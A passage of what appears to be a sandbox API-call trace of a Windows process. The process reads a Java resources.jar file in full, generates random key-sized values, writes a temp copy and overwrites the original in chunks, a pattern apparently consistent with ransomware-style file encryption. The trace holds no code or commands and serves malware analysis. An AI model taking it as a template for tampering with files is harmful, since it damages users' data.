	[0269.174] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.174] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x6927, lpOverlapped=0x0) returned 1
	[0269.174] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x6927, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x6927, lpOverlapped=0x0) returned 1
	[0269.175] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0269.175] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7839fbc6b6cdecbfe772df03fb84b2a3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7839fbc6b6cdecbfe772df03fb84b2a3")) returned 0
	[0269.175] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7839fbc6b6cdecbfe772df03fb84b2a3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7839fbc6b6cdecbfe772df03fb84b2a3")) returned 0
	[0269.175] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7839fbc6b6cdecbfe772df03fb84b2a3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7839fbc6b6cdecbfe772df03fb84b2a3")) returned 0x20
	[0269.175] CloseHandle (hObject=0x198) returned 1
	[0269.175] CloseHandle (hObject=0x19c) returned 1
	[0269.228] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7839fbc6b6cdecbfe772df03fb84b2a3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7839fbc6b6cdecbfe772df03fb84b2a3")) returned 1
	[0269.236] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0269.263] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0269.272] SetEvent (hEvent=0x17c) returned 1
	[0269.272] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0269.272] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0269.272] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0269.272] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0269.272] GetFileType (hFile=0x1b4) returned 0x1
	[0269.272] GetFileType (hFile=0x1b4) returned 0x1
	[0269.272] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0269.272] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0269.274] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000dfc000, nNumberOfBytesToRead=0x354cdd, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc000dfc000*, lpNumberOfBytesRead=0xc0000bfb04*=0x354add, lpOverlapped=0x0) returned 1
	[0269.456] SetEvent (hEvent=0x124) returned 1
	[0269.456] ReadFile (in: hFile=0x1b4, lpBuffer=0xc001150add, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc001150add*, lpNumberOfBytesRead=0xc0000bfb04*=0x0, lpOverlapped=0x0) returned 1
	[0269.456] CloseHandle (hObject=0x1b4) returned 1
	[0269.456] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0740 | out: pbBuffer=0xc0000c0740) returned 1
	[0269.456] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c540 | out: pbBuffer=0xc00028c540) returned 1
	[0269.456] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8c01 | out: pbBuffer=0xc0002a8c01) returned 1
	[0269.466] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9e99c079f2065f27b799ef18ed856c4f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9e99c079f2065f27b799ef18ed856c4f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0269.466] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0269.466] GetFileType (hFile=0x1b4) returned 0x1
	[0269.466] VirtualAlloc (lpAddress=0xc00023e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023e000
	[0269.467] WriteFile (in: hFile=0x1b4, lpBuffer=0xc002600000*, nNumberOfBytesToWrite=0x354bdd, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc002600000*, lpNumberOfBytesWritten=0xc0000bfbec*=0x354bdd, lpOverlapped=0x0) returned 1
	[0269.537] SetEvent (hEvent=0x124) returned 1
	[0269.537] CloseHandle (hObject=0x1b4) returned 1
	[0269.644] SetEvent (hEvent=0x124) returned 1
	[0269.644] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0269.648] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0269.648] GetFileType (hFile=0x1b4) returned 0x1
	[0269.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9e99c079f2065f27b799ef18ed856c4f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9e99c079f2065f27b799ef18ed856c4f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0269.648] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0269.648] GetFileType (hFile=0x1b0) returned 0x1
	[0269.648] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000400000
	[0269.649] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.650] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.651] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.651] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.652] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.652] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.653] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.653] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.653] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.653] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.654] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.654] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.654] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.655] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.655] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.655] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.656] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.656] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.658] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.658] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.658] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.658] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.659] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.659] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.660] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.660] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.660] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.661] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.661] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.661] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.662] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.662] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.663] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.663] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.664] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.665] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.665] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.665] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.666] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.666] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.666] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.666] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.667] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.667] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.668] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.668] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.668] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.668] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.669] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.669] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.671] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.671] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.671] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.671] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.672] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.672] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.673] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.673] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.673] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.673] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.674] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.674] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.675] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.675] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.675] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.684] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.688] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.691] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
